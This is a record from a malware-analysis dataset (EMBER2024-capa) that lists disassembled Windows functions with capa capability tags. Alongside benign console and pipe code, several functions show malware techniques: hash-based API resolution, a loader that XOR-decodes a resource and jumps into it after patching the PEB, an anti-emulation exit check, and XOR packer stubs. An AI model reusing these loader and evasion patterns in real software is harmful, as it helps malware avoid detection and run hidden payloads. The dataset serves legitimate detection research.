joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4014c0
Capabilities:
Write file on windows

Disassembly:
push 0x20
mov eax, 0x418964
call fcn.00418189
mov esi, edx
mov edi, ecx
mov dword [ebp - 0x28], edi
cmp byte [0x421550], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2c], eax
je 0x4014ef
push esi
push str.Initialize:_size_u_n
call fcn.00402460
pop ecx
pop ecx
xor ebx, ebx
mov dword [ebp - 0x18], edi
inc ebx
mov dword [ebp - 0x14], esi
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x20], ebx
call fcn.00401e70
call fcn.00401e70
mov dword [0x4208d8], eax
call fcn.00401040
push eax
mov ecx, 0x4208dc
call fcn.00401d85
lea ecx, [ebp - 0x18]
call fcn.00401040
push eax
mov ecx, 0x4208f4
call fcn.00401d85
lea ecx, [ebp - 0x18]
call fcn.00401040
mov edi, 0x42090c
push eax
mov ecx, edi
call fcn.00401d85
lea ecx, [ebp - 0x18]
call fcn.00401040
push eax
mov ecx, 0x420924
call fcn.00401d85
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x28]
cmp eax, esi
jbe 0x40157c
cmp byte [0x421550], 0
je 0x401576
push str.Initilize:_message_deserialization_failed.
call fcn.00402460
pop ecx
and dword [ebp - 0x20], 0
jmp 0x4015c9
cmp byte [0x421550], 0
je 0x4015c9
cmp dword [0x420920], 8
mov eax, 0x4208f4
mov ecx, 0x4208dc
cmovae edi, dword [0x42090c]
cmp dword [0x420908], 8
push edi
cmovae eax, dword [0x4208f4]
cmp dword [0x4208f0], 8
push eax
cmovae ecx, dword [0x4208dc]
push ecx
push str.Initilize_messages:__n_tdone:__S_n_tdebug_prompt:__S_n_tnodebug_prompt:__S_n
call fcn.00402460
add esp, 0x10
xor eax, eax
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
mov ecx, ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebp - 0x1c], 0
and dword [ebp - 0x18], 0
and dword [ebp - 0x14], 0
and dword [ebp - 4], 0
push ecx
lea ecx, [ebp - 0x1c]
call fcn.00401cb5
mov esi, dword [ebp - 0x18]
mov edi, dword [ebp - 0x1c]
sub esi, edi
sar esi, 2
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
mov ecx, eax
cmp ecx, esi
ja 0x4015e3
mov esi, dword [0x421554]
jmp 0x401617
push edi
push esi
call fcn.00401ebf
add edi, 4
cmp edi, dword [ebp - 0x18]
jne 0x40160d
lea ecx, [ebp - 0x1c]
call fcn.00401d0c
push 0
lea eax, [ebp - 0x24]
push eax
push 4
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401643
cmp dword [ebp - 0x20], 0
jne 0x401645
xor ebx, ebx
mov eax, ebx
call fcn.00418147
ret 4
Function at 0x40164f
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push 0x3c
mov eax, 0x418998
call fcn.00418189
mov dword [ebp - 0x48], ecx
xor eax, eax
mov dword [ebp - 0x34], edx
lea edi, [ebp - 0x20]
xor ebx, ebx
stosd dword es:[edi], eax
xorps xmm0, xmm0
mov dword [ebp - 0x14], ebx
movlpd qword [ebp - 0x44], xmm0
movlpd qword [ebp - 0x3c], xmm0
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov edi, 0x20000
mov dword [ebp - 0x20], ebx
mov ecx, edi
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
call fcn.00402597
push edi
push ebx
push eax
lea esi, [eax + 0x20000]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], esi
call fcn.004039e0
add esp, 0xc
mov dword [ebp - 0x1c], esi
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], ebx
call fcn.00401e9c
mov esi, dword [ebp - 0x48]
lea ecx, [ebp - 0x44]
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x20]
push ecx
push ebx
push eax
push dword [ebp - 0x20]
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4016e7
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x4016e7
mov edx, dword [ebp - 0x14]
jmp 0x401703
push 1
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x44]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
je 0x401750
mov edx, dword [ebp - 0x14]
test edx, edx
je 0x401750
mov ecx, dword [ebp - 0x20]
mov eax, dword [ecx]
sub eax, 1
je 0x401748
sub eax, 1
jne 0x401750
cmp dword [0x42155c], eax
jne 0x401722
push esi
call fcn.0040109d
jmp 0x40174e
mov eax, dword [0x421560]
push ebx
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x24]
push eax
push 0xc
lea eax, [ebp - 0x30]
mov dword [ebp - 0x30], 0x103
push eax
push esi
mov dword [ebp - 0x28], ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x40174e
push esi
call fcn.004014c0
mov ebx, eax
lea ecx, [ebp - 0x20]
call fcn.00401d66
mov eax, ebx
call fcn.00418147
ret
Function at 0x401820
Capabilities:
Set console window title

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x420008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, ecx
push edi
mov edi, edx
mov eax, dword [0x42155c]
test eax, eax
push 0xffffffffffffffff
cmove eax, edi
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push 0
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
sub eax, 0
je 0x401917
sub eax, 1
jne 0x401924
mov eax, dword [0x42155c]
test eax, eax
jne 0x40189a
lea eax, [ebp - 0x14]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetNumberOfConsoleInputEvents]
test eax, eax
je 0x40190e
call fcn.00409973
test eax, eax
jne 0x40190e
mov ecx, edi
call fcn.004012b6
jmp 0x40183a
lea ecx, [ebp - 0x10]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x401924
cmp dword [ebp - 0x10], 0x103
je 0x40183a
push dword [0x42155c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and dword [0x42155c], 0
call fcn.00401760
test eax, eax
jne 0x40183a
cmp byte [ebp + 0xc], al
jne 0x40190e
cmp dword [0x420938], 8
mov eax, 0x420924
cmovae eax, dword [0x420924]
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov ecx, dword [ebp - 0x10]
mov edx, edi
call fcn.004013df
lea eax, [ebp - 0x18]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetNumberOfConsoleInputEvents]
test eax, eax
jne 0x40183a
mov byte [0x421551], 1
jmp 0x401936
mov edx, ebx
mov ecx, esi
call fcn.0040164f
test eax, eax
jne 0x401928
xor eax, eax
jmp 0x401939
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push esi
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402646
leave
ret 8
Function at 0x401adc
Capabilities:
Connect pipe
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x420008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
push 3
pop eax
cmp dword [ebp + 8], eax
jl 0x401c77
xor ebx, ebx
xor dl, dl
inc ebx
mov byte [ebp - 0x28], dl
cmp dword [ebp + 8], eax
jle 0x401b54
mov ecx, dword [edi + eax*4]
mov esi, str._AutoExit
mov bx, word [ecx]
cmp bx, word [esi]
jne 0x401b3c
test bx, bx
je 0x401b35
mov bx, word [ecx + 2]
cmp bx, word [esi + 2]
jne 0x401b3c
add ecx, 4
add esi, 4
test bx, bx
jne 0x401b13
xor ebx, ebx
xor ecx, ecx
inc ebx
jmp 0x401b43
sbb ecx, ecx
xor ebx, ebx
inc ebx
or ecx, ebx
test ecx, ecx
movzx edx, dl
cmove edx, ebx
inc eax
mov byte [ebp - 0x28], dl
cmp eax, dword [ebp + 8]
jl 0x401b0b
push ebx
push 0x401ac5
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push dword [edi + 8]
push 0
push 2
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov esi, eax
test esi, esi
je 0x401c77
lea ecx, [ebp - 0x10]
call fcn.0040194a
test eax, eax
je 0x401c77
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, 0x1000
push eax
push eax
push ebx
push 0xe
push 0x40000003
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov edi, eax
cmp edi, 0xffffffff
je 0x401c77
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
test eax, eax
je 0x401c77
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xfffffffffffffff6
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x401c77
push 0x20000
push 1
call fcn.004059fb
push eax
call fcn.00409888
pop ecx
pop ecx
push eax
call fcn.004096a8
pop ecx
pop ecx
push eax
push 1
mov dword [0x421568], eax
call fcn.004059fb
push eax
call fcn.00409888
pop ecx
pop ecx
push eax
call fcn.004096a8
pop ecx
pop ecx
xor eax, eax
push eax
push eax
push 1
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov esi, eax
test esi, esi
jne 0x401ca4
mov eax, 0x80004005
jmp 0x401c7a
xorps xmm0, xmm0
mov dword [ebp - 0x14], esi
push esi
movlpd qword [ebp - 0x24], xmm0
movlpd qword [ebp - 0x1c], xmm0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [ebp - 0x24]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x401c89
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x217
je 0x401c89
cmp eax, 0x3e5
jne 0x401c7a
push dword [ebp - 0x28]
mov edx, ebx
mov ecx, esi
push edi
call fcn.00401820
test eax, eax
jne 0x401ca4
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402646
leave
ret
mov edx, esi
mov ecx, edi
call fcn.0040164f
test eax, eax
je 0x401c77
push edi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push edi
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
cmp byte [0x421551], 0
je 0x401c2c
xor eax, eax
jmp 0x401c7a
Function at 0x40c88c
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41acc8
push 0x41acc0
push str.FlsAlloc
push 0x1e
call fcn.0040c74d
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40c8c0
push dword [ebp + 8]
mov ecx, esi
call dword [0x4221ac]
call esi
jmp 0x40c8c6
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40c90a
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41acd8
push 0x41acd0
push str.FlsGetValue
push 0x20
call fcn.0040c74d
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40c941
push dword [ebp + 8]
mov ecx, esi
call dword [0x4221ac]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40ef38
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x420008]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x40ef83
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.0040f0d7
test al, al
jne 0x40ef7d
sub edx, 2
cmp edx, edi
jne 0x40ef63
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x40efa5
lea eax, [edi + 2]
cmp edx, eax
je 0x40efa5
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.0040ee84
add esp, 0x10
jmp 0x40f09f
push esi
lea ecx, [ebp - 0x255]
call fcn.0040f0d7
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40efe8
push dword [ebp - 0x25c]
jmp 0x40ef95
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x40f025
cmp word [ebp - 0x226], 0
je 0x40f046
cmp word [ebp - 0x226], ax
jne 0x40f025
cmp word [ebp - 0x224], 0
je 0x40f046
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.0040ee84
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x40f092
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x40efff
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x40f07a
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x40f09f
push 0x40ecb4
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00414b20
add esp, 0x10
jmp 0x40f06f
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402646
leave
ret
Function at 0x40fb0b
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40fba8
push ebx
push esi
call fcn.0040fad4
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040ea3f
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40fb55
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40fba7
push edi
push eax
call fcn.0040d03f
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40fb75
call fcn.0040b7db
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40fba6
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040ea3f
add esp, 0x20
test eax, eax
jne 0x40fb94
push edi
call fcn.0040b7db
jmp 0x40fb9c
push ebx
call fcn.0040b7db
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x40fbab
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x40fbbc
pop esi
ret
push ebx
push edi
push esi
call fcn.0040fad4
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.0040d03f
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x40fbe4
push ebx
push esi
push edi
call fcn.00404ee0
add esp, 0xc
push 0
call fcn.0040b7db
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x410330
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0040fe57
Function at 0x412003
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x418a7a
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x420008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
mov edx, eax
mov esi, dword [ebp + 0x10]
and eax, 0x3f
mov ebx, dword [ebp + 0x18]
imul ecx, eax, 0x38
sar edx, 6
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x50], edx
mov eax, dword [edx*4 + 0x421198]
mov dword [ebp - 0x44], ecx
mov eax, dword [eax + ecx + 0x18]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp + 0x14]
add eax, esi
mov dword [ebp - 0x54], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
cmp byte [ebx + 0x14], 0
mov dword [ebp - 0x70], eax
jne 0x41207c
mov ecx, ebx
call fcn.00408f30
mov eax, dword [ebx + 0xc]
mov esi, dword [ebp + 8]
mov edi, esi
mov eax, dword [eax + 8]
mov dword [ebp - 0x68], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [ebp - 0x60]
mov edx, eax
mov dword [ebp - 0x30], edx
cmp eax, dword [ebp - 0x54]
jae 0x4123b4
mov edi, dword [ebp - 0x44]
xor ebx, ebx
mov dword [ebp - 0x48], ebx
Function at 0x401000
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, ecx
mov dword [ebp - 8], edx
push edi
xor edi, edi
mov eax, dword [ebx + 0x3c]
mov eax, dword [eax + ebx + 0x78]
add eax, ebx
mov edx, dword [eax + 0x1c]
mov ecx, dword [eax + 0x20]
add edx, ebx
mov dword [ebp - 0x14], edx
add ecx, ebx
mov edx, dword [eax + 0x24]
add edx, ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], edx
mov edx, dword [eax + 0x18]
mov dword [ebp - 4], edx
test edx, edx
je 0x40109d
push esi
nop dword [eax + eax]
mov esi, dword [ecx + edi*4]
xor eax, eax
mov cl, byte [esi + ebx]
add esi, ebx
test cl, cl
je 0x401079
nop
shl eax, 4
lea esi, [esi + 1]
movsx ecx, cl
add eax, ecx
mov edx, eax
and edx, 0xf0000000
je 0x40106c
mov ecx, edx
shr ecx, 0x18
xor eax, ecx
mov cl, byte [esi]
not edx
and eax, edx
test cl, cl
jne 0x401050
mov edx, dword [ebp - 4]
cmp eax, dword [ebp - 8]
je 0x40108d
mov ecx, dword [ebp - 0xc]
inc edi
cmp edi, edx
jb 0x401040
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x14]
pop esi
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, ebx
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401360
Capabilities:
Access peb ldr_data
Encode data using xor
Get process filename

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push str.kernel32
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
mov edx, 0x5681127
mov ecx, esi
call section..text
mov edx, 0x9b3b115
mov ecx, esi
mov edi, eax
call section..text
mov edx, 0xdaa96b5
mov ecx, esi
mov ebx, eax
call section..text
push 0
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0xa
mov esi, eax
mov dword [ebp - 4], 0
push 0x714c
push esi
call edi
mov edi, eax
test edi, edi
je 0x4013fe
push edi
push esi
call ebx
push edi
push esi
mov dword [ebp - 0x14], eax
call dword [ebp - 8]
mov ebx, eax
push ebx
mov dword [ebp - 0xc], ebx
call fcn.00406a68
add esp, 4
mov dword [ebp - 4], eax
test eax, eax
je 0x4013fe
push ebx
push dword [ebp - 0x14]
push eax
call fcn.00406280
add esp, 0xc
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
mov edx, 0x5681127
mov ecx, esi
call section..text
mov edx, 0x9b3b115
mov ecx, esi
mov edi, eax
call section..text
mov edx, 0xdaa96b5
mov dword [ebp - 0x14], eax
mov ecx, esi
call section..text
push 0
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0xa
mov esi, eax
xor ebx, ebx
push 0xfb3e
push esi
mov dword [ebp - 8], ebx
call edi
mov edi, eax
test edi, edi
je 0x401489
push edi
push esi
call dword [ebp - 0x14]
push edi
push esi
mov dword [ebp - 0x14], eax
call dword [ebp - 0x18]
mov esi, eax
push esi
mov dword [ebp - 0x10], esi
call fcn.00406a68
mov ebx, eax
add esp, 4
mov dword [ebp - 8], ebx
test ebx, ebx
je 0x40148b
push esi
push dword [ebp - 0x14]
push ebx
call fcn.00406280
add esp, 0xc
jmp 0x40148b
xor esi, esi
mov eax, dword [ebp - 4]
test eax, eax
je 0x401530
mov ecx, dword [ebp - 0xc]
test ecx, ecx
je 0x401530
test ebx, ebx
je 0x401530
test esi, esi
je 0x401530
mov eax, 0xaaaaaaab
mul ecx
mov edi, edx
shr edi, 1
push edi
call fcn.00406a68
add esp, 4
xor esi, esi
mov ebx, eax
test edi, edi
je 0x4014f6
mov edx, dword [ebp - 4]
mov cl, byte [edx]
lea edx, [edx + 3]
mov byte [esi + ebx], cl
inc esi
cmp esi, edi
jb 0x4014d0
mov esi, dword [ebp - 8]
xor ecx, ecx
mov eax, ecx
xor edx, edx
div dword [ebp - 0x10]
mov al, byte [edx + esi]
xor byte [ecx + ebx], al
inc ecx
cmp ecx, edi
jb 0x4014e2
jmp 0x4014f9
mov esi, dword [ebp - 8]
mov ecx, ebx
call fcn.004010b0
mov ecx, dword fs:[0x30]
mov dword [ecx + 8], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0x14]
mov dword [ecx + 0x10], eax
mov ecx, dword [eax + 0x3c]
mov ecx, dword [ecx + eax + 0x28]
add ecx, eax
call ecx
push ebx
call fcn.00406840
push esi
call fcn.00406840
mov eax, dword [ebp - 4]
add esp, 8
push eax
call fcn.00406840
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4036e0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x48
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x44], eax
lea ecx, [esp]
call fcn.00402ac0
push 0
push 0
push str.jklhjkluktyuity
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
test eax, eax
je 0x40371c
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00401360
mov ecx, dword [esp + 0x1c]
cmp ecx, 0x10
jb 0x403753
mov edx, dword [esp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403749
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403766
push ecx
push edx
call fcn.004039f7
add esp, 8
mov ecx, dword [esp + 0x44]
xor eax, eax
xor ecx, esp
call fcn.004039b9
mov esp, ebp
pop ebp
ret 0x10
call fcn.00406a17
int3

Function at 0x404272
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4042b1
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4042b1
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4042b1
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4042b1
cmp dword [ecx + 0x74], 0xe
jbe 0x4042b1
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40ee60
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40ee8d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40ee8d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x407ef8
nop
mov ecx, 0x59320ee3
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42cd70
mov ecx, 0x3cb0137c
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp fcn.00401219

Function at 0x433001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
mov ecx, 0x59f544e9
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..text_1
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x59c60859
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219